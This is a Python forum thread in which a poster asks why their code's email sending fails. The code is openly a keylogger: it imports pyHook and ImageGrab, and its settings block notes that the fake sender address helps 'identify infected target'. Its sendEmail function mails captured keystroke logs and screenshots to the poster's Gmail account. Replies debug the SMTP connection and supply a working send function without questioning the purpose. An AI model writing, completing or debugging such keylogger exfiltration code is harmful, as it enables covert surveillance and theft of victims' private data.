Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
sending email
#1
I am trying to send email but it is not working.

from kivy.app import App

from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib

# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = True # set to True to send emails
LOG_MAIL = "[email protected]"     # account email address (must exist)
LOG_PASS = ";)" # email's password (must exist)
LOG_FROM = "[email protected]" # email will be sent from this address (fake) - useful to identify infected target =)
LOG_SUBJ = "logsheetAhmad"                # email subject
LOG_MSG = "Hi there" # email content - the body

# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
server = smtplib.SMTP("smtp.gmail.com:587")
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list  
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)

server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()  
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())  
server.quit()
Thanks
Reply
#2
Quote:but it is not working
Useful details please
Reply
#3
(Jul-13-2017, 04:07 PM)Larz60+ Wrote:
Quote: but it is not working
Useful details please

No error and I don't get any emails

There are no errors and I don't get emails. Do I have to run the code in SERVER level?
Reply
#4
I've edited your post to remove your email address and password (because... lol?). It's still hard to read format-sensitive code without formatting, so it'd be appreciated if you posted your code with proper indentation.

What does server.sendmail() return? The docs say it should return a dict with status codes for each address that refused the email.
Reply
#5
Hi,

I am actually new to python and programming...now i get to debug and i got the following error:

Error:
Traceback (most recent call last):   File "C:\Python27\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", line 326, in RunScript     exec codeObject in __main__.__dict__   File "C:\Users\rwahdan\Desktop\Keylogger\main.py", line 164, in <module>     server = smtplib.SMTP('smtp.gmail.com',465)   File "C:\Python27\lib\smtplib.py", line 256, in __init__     (code, msg) = self.connect(host, port)   File "C:\Python27\lib\smtplib.py", line 317, in connect     (code, msg) = self.getreply()   File "C:\Python27\lib\smtplib.py", line 368, in getreply     raise SMTPServerDisconnected("Connection unexpectedly closed") SMTPServerDisconnected: Connection unexpectedly closed
thanks
Reply
#6
(Jul-13-2017, 05:24 PM)nilamo Wrote: I've edited your post to remove your email address and password (because... lol?).  It's still hard to read format-sensitive code without formatting, so it'd be appreciated if you posted your code with proper indentation.

What does server.sendmail() return?  The docs say it should return a dict with status codes for each address that refused the email.

def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG

server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL,LOG_SUBJ,LOG_MSG)  
server.quit()
Thanks
Reply
#7
(Jul-14-2017, 06:03 AM)rwahdan Wrote: server.sendmail(LOG_FROM, LOG_MAIL,LOG_SUBJ,LOG_MSG)
Change that line to this:
print(server.sendmail(LOG_FROM, LOG_MAIL,LOG_SUBJ,LOG_MSG))
What does it return?
Reply
#8
Don't post code without indentation.
You never call function sendEmail() or give arguments to function.
Stuff shall not go from global namespace into a function,that why i mention arguments.
Tested work for me.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_email(from_addr, to_addr,subject, message):
   msg = MIMEMultipart()
   msg['From'] = from_addr
   msg['To'] = to_addr
   # Message of email
   msg['Subject'] = subject
   body = message
   msg.attach(MIMEText(body, 'plain'))
   # Server
   server = smtplib.SMTP('smtp.gmail.com', 587)
   server.starttls()
   server.login('[email protected]', 'password')
   text = msg.as_string()
   server.sendmail(fromaddr, toaddr, text)
   server.quit()

if __name__ == '__main__':
   from_addr = "[email protected]"
   to_addr = "[email protected]"
   subject = 'Alien'
   message = 'Alien from mars attacks'
   # Call function
   send_email(from_addr, to_addr, subject, message)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Sending Out Email via Python JoeDainton123 1 4,793 Aug-31-2020, 12:54 AM
Last Post: nilamo
  Including a Variable In the HTML Tags When Sending An Email JoeDainton123 0 1,899 Aug-08-2020, 03:11 AM
Last Post: JoeDainton123
  Sending an email with attachment without using SMTP? PythonNPC 5 3,216 May-05-2020, 07:58 AM
Last Post: PythonNPC
  sending html file in email santoshi 3 6,570 Apr-05-2019, 03:59 PM
Last Post: nilamo
  sending email by exchangelib Caunnabeau 0 8,329 Sep-07-2018, 05:03 AM
Last Post: Caunnabeau
  Problem in sending email using python nhoh007 1 2,537 Aug-25-2018, 07:20 PM
Last Post: typic
  An email with inline jpg cannot be read by all email clients fpiraneo 4 3,999 Feb-25-2018, 07:17 PM
Last Post: fpiraneo
  Email - Send email using Windows Live Mail cyberzen 2 5,935 Apr-13-2017, 03:14 AM
Last Post: cyberzen

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020